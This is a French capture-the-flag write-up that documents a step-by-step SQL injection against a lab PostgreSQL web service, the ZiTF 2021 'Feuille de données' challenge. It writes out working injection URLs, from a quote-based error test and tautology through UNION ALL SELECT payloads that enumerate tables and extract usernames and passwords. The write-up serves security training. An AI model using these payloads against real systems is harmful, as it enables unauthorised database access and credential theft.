# WU | ZiTF 2021 - Feuille de données : ### Sur le site 192.168.20.3:3000 : L'ip et le port du site Feuille sont ````192.168.20.3:3000```` On trouve une autre ip via le network de certaines images dans le Devtools : ```http://192.168.20.3:3333/team/``` On a donc la liste des membres de l’équipe affichés sur le site, sûrement via une requête SQL. ### Sur 192.168.20.3:3333 : #### Tests SQLI Après quelques essais d’URL (notons l’existence de ```http://192.168.20.3:3333/services/```) je commence à me renseigner sur les injections SQL. Je teste de mettre des caractères basés sur une wordlist de mot provoquant des erreurs dans le retour serveur. On voit que « ‘ » retourne une erreur ainsi on a ````http://192.168.20.3:3333/team/’```` qui nous indique une faille. On test maintenant d’y rajouter des morceaux de SQL et de voir si ça marche sans erreurs. J’en trouve un : ```http://192.168.20.3:3333/team/’ OR ‘x’=’x’--``` Maintenant il faut réfléchir à ce que je veux, un flag, sûrement dans une des autres tables de la base. On doit faire une UNION afin de récupérer le résultats d'autres tables. #### Union Notre base ```team``` comportant 5 colonnes j’essaye donc ```http://192.168.20.3:3333/team/’ UNION ALL SELECT 1,2,3,4,5--``` et j’obtiens une nouvelle erreur, les varchars ne se mélange pas avec les integers. Je remplace donc les attributs varchar du SELECT par des ```NULL``` donc non typés on a : ```http://192.168.20.3:3333/team/’ UNION ALL SELECT 1, NULL, NULL, NULL, NULL --``` et un résultat affichant les ids. On remarque que l’outil pour gérer les bases de données est PostGreSQL. On cherche donc les tables communes de PostGreSQL et on trouve ```SELECT table_name FROM information_schema.tables```. Ainsi pour faire l’UNION on se retrouve avec : ```http://192.168.20.3:3333/team/’ UNION ALL SELECT 1, table_name, NULL, NULL, NULL FROM information_schema.tables--.``` (on rajoute un ```.``` pour éviter le problème de parser). Et on obtient la liste de toutes les tables de la base de données. #### Deep Into the Database On remarque une table ‘users’ qui donne peut-être accès à des droits admins. On effectue la requête sur la table users avec des noms de colonne commun comme username,user,name. ```http://192.168.20.3:3333/team/’ UNION ALL SELECT 1, user, NULL, NULL, NULL FROM users``` On a un résultat, on cherche donc un mot de passe. ```http://192.168.20.3:3333/team/’ UNION ALL SELECT 1, user, password, NULL, NULL FROM users``` Et le mot de passe de l'utilisateur docker est le flag.